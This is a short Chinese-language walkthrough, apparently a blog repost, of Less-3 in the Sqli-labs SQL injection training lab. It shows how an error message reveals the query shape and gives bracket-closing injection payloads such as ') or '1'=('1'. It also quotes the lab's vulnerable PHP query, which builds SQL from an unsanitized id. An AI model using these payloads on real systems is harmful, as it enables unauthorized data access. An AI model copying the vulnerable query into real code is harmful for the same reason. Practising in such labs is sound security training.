zoukankan      html  css  js  c++  java
  • Sqli-labs less 3

    Less-3

    我们使用?id='

    注入代码后,我们得到像这样的一个错误:

    MySQL server version for the right syntax to use near "") LIMIT 0,1′ at line 1
    

    这里它意味着,开发者使用的查询是:

    Select login_name, select password from table where id= ('our input here')
    

    所以我们再用这样的代码来进行注入:

    ?id=1′) –-+
    

    这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。

    在源代码中的SQL查询语句,31行:

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    

    可以成功注入的有:

    ') or '1'=('1'
    

    ) or 1=1 --+
    

    其余的payload与less1中一直,只需要将less1中的 ' 添加) 即')

  • 相关阅读:
    12.1
    我的火车头
    头文件优化时间
    一些姿势
    CodeForces
    CodeForces
    [SDOI 2015] 约数个数和
    BZOJ
    [国家集训队] middle
    鹅的问题
  • 原文地址:https://www.cnblogs.com/lcamry/p/5763134.html
Copyright © 2011-2022 走看看